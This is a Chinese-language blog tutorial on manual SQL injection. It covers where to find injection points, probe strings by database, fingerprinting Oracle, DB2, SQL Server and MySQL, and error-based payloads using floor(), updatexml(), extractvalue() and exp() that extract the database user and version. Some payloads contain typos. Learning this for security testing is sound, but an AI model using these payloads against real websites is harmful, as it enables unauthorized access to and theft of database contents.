一、SQL注入可以分为三个步骤
1.识别Web应用与数据库交互的可能输入(识别潜在注入点)
2.SQL注入语句测试
3.根据服务器返回判定注入语句是否影响了SQL执行结果以判断是否存在SQL注入
2.识别Web应用与数据库交互的可能输入点
GET请求参数
POST请求参数
Cookie
X-Forword-For
User-Agent
Refer
Host
3.SQL语句测试
由于现在许多web站点都受到WAF防护或者应用开发者自带的代码层Filter,在判断是否存在Sql注入时,
测试payload越简单越好
|
|
数字型 |
数字型 |
字符型 |
字符型 |
|
|
测试语句 |
预期结果 |
测试语句 |
预期结果 |
|
Oracle |
' |
出现异常 |
' |
出现异常 |
|
|
+-&/ |
运算被执行 |
'||' |
字符串拼接,返回与原来相同 |
|
DB2 |
' |
出现异常 |
' |
出现异常 |
|
|
+-&/ |
运算被执行 |
'||' |
字符串拼接,返回与原来相同 |
|
SQL Server |
+-&/ |
运算被执行 |
' |
出现异常 |
|
|
' |
出现异常 |
'+' |
字符串拼接,返回与原来相同 |
|
MySQL |
+-&/ |
运算被执行 |
' |
出现异常 |
|
|
' |
出现异常 |
'空格' |
字符串拼接,返回与原来相同 |
4.确认SQL注入
确认数据库类型
基于应用开发语言判断
基于报错信息判断
基于特有函数/语句判断
基于特有数据表判断
基于应用开发语言判断
|
ORACLE: |
JAVA |
|
DB2: |
JAVA |
|
SQL Server: |
C#、ASP、.NET |
|
MYSQL : |
PHP、JAVA |
基于报错信息判断数据库类型
Oracle:
###Error querying datgbase.Cause:java.sql.SQLsyntaxErrorException:ORA-01756:quoted string not properly terminated
SQL Server:
###Microsoft OLE DB Provider for SQLServer 错误‘80040e14"
MYSQL:
You have an error in your SQL syntax;check the manual that corresponds to your MySQL server verslor for the right syntax to use near 1"LIMIt 0,I at line 1
基于特有函数/语句判断数据库类型
|
|
用户 |
字符连接 |
数据库名 |
版本 |
取位函数 |
… |
|
Oracle |
user |
|| |
Select global_name from global name |
Select version from v$instance |
substr |
|
|
DB2 |
user |
|| |
Select current server from sysibm.sysdummy1 |
-- |
Substr() |
|
|
SQL Server |
User User_name() |
+ |
db_name() |
@@version |
Substring() |
|
|
MySQL |
User() |
space |
database() |
Version() @@version |
Substr() substring |
|
基于特有的数据表判断
|
Oracle |
And (select count(*) from sys.user_tables)>0 |
|
DB2 |
And (select count(*) from sysibm.systables)>0 |
|
SQL server |
And (select count(*) from sysobjects)>0 |
|
Mysql |
And (select count(*) from information_schema.tables)>0 |
|
|
|
5.确认SQL注入方式
SQL注入按照注入方式分类可分为两类
显示注入
|
Union query |
#联合查询注入,通过union联合查询获取查询结果 |
|
Error based |
#报错注入,通过报错信息获取查询结果 |
盲注
|
Boolean based blind |
#布尔盲注,通过应用返回不同的值判断田间真假 |
|
Time based blind |
#时间盲注,通过不同的时间延迟推断条件真假 |
优先级:union query ≥ error based ≥ Boolean based blind ≥ time based blind
union注入:比较简单,就不赘述,如有需求可至主页查看博客
报错注入:
前提:应用可以输出数据库报错信息
floor()
And (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
Upadtexml()
And 1=(updatexml(1.concat(0x3a,(select user()),1))
Extractvalue()
And extractvalue(1,concat(0x5c,(select user())))
Exp()
And exp (~select * from(select user())a))
布尔盲注
时间延迟注入
这俩用sqlmap吧,手工会累死人的
本文深入解析SQL注入攻击的步骤,包括识别潜在注入点、测试SQL语句、确认SQL注入及方式。涵盖不同数据库类型的判断方法,如Oracle、SQLServer、MySQL等,并探讨了显示注入、报错注入、布尔盲注和时间盲注的具体实现。
26万+

被折叠的 条评论
为什么被折叠?



